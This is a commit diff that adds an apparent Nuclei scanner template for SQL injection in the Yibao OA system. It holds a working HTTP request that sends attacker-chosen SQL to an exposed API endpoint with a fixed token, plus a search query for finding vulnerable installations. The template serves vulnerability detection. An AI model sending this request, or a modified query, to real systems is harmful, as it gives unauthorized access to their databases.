commit
0612c9be29
|
@ -0,0 +1,39 @@
|
|||
id: yibao-sqli
|
||||
|
||||
info:
|
||||
name: Yibao OA System - SQL Injection
|
||||
author: DhiyaneshDK
|
||||
severity: high
|
||||
metadata:
|
||||
max-request: 1
|
||||
verified: true
|
||||
fofa-query: product="顶讯科技-易宝OA系统"
|
||||
tags: yiboo,oa,sqli
|
||||
|
||||
variables:
|
||||
num: "999999999"
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /api/system/ExecuteSqlForSingle HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
token=zxh&sql=select substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','{{num}}')),3,32)&strParameters
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- 'data":"{{md5({{num}})}}'
|
||||
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- application/json
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
Loading…
Reference in New Issue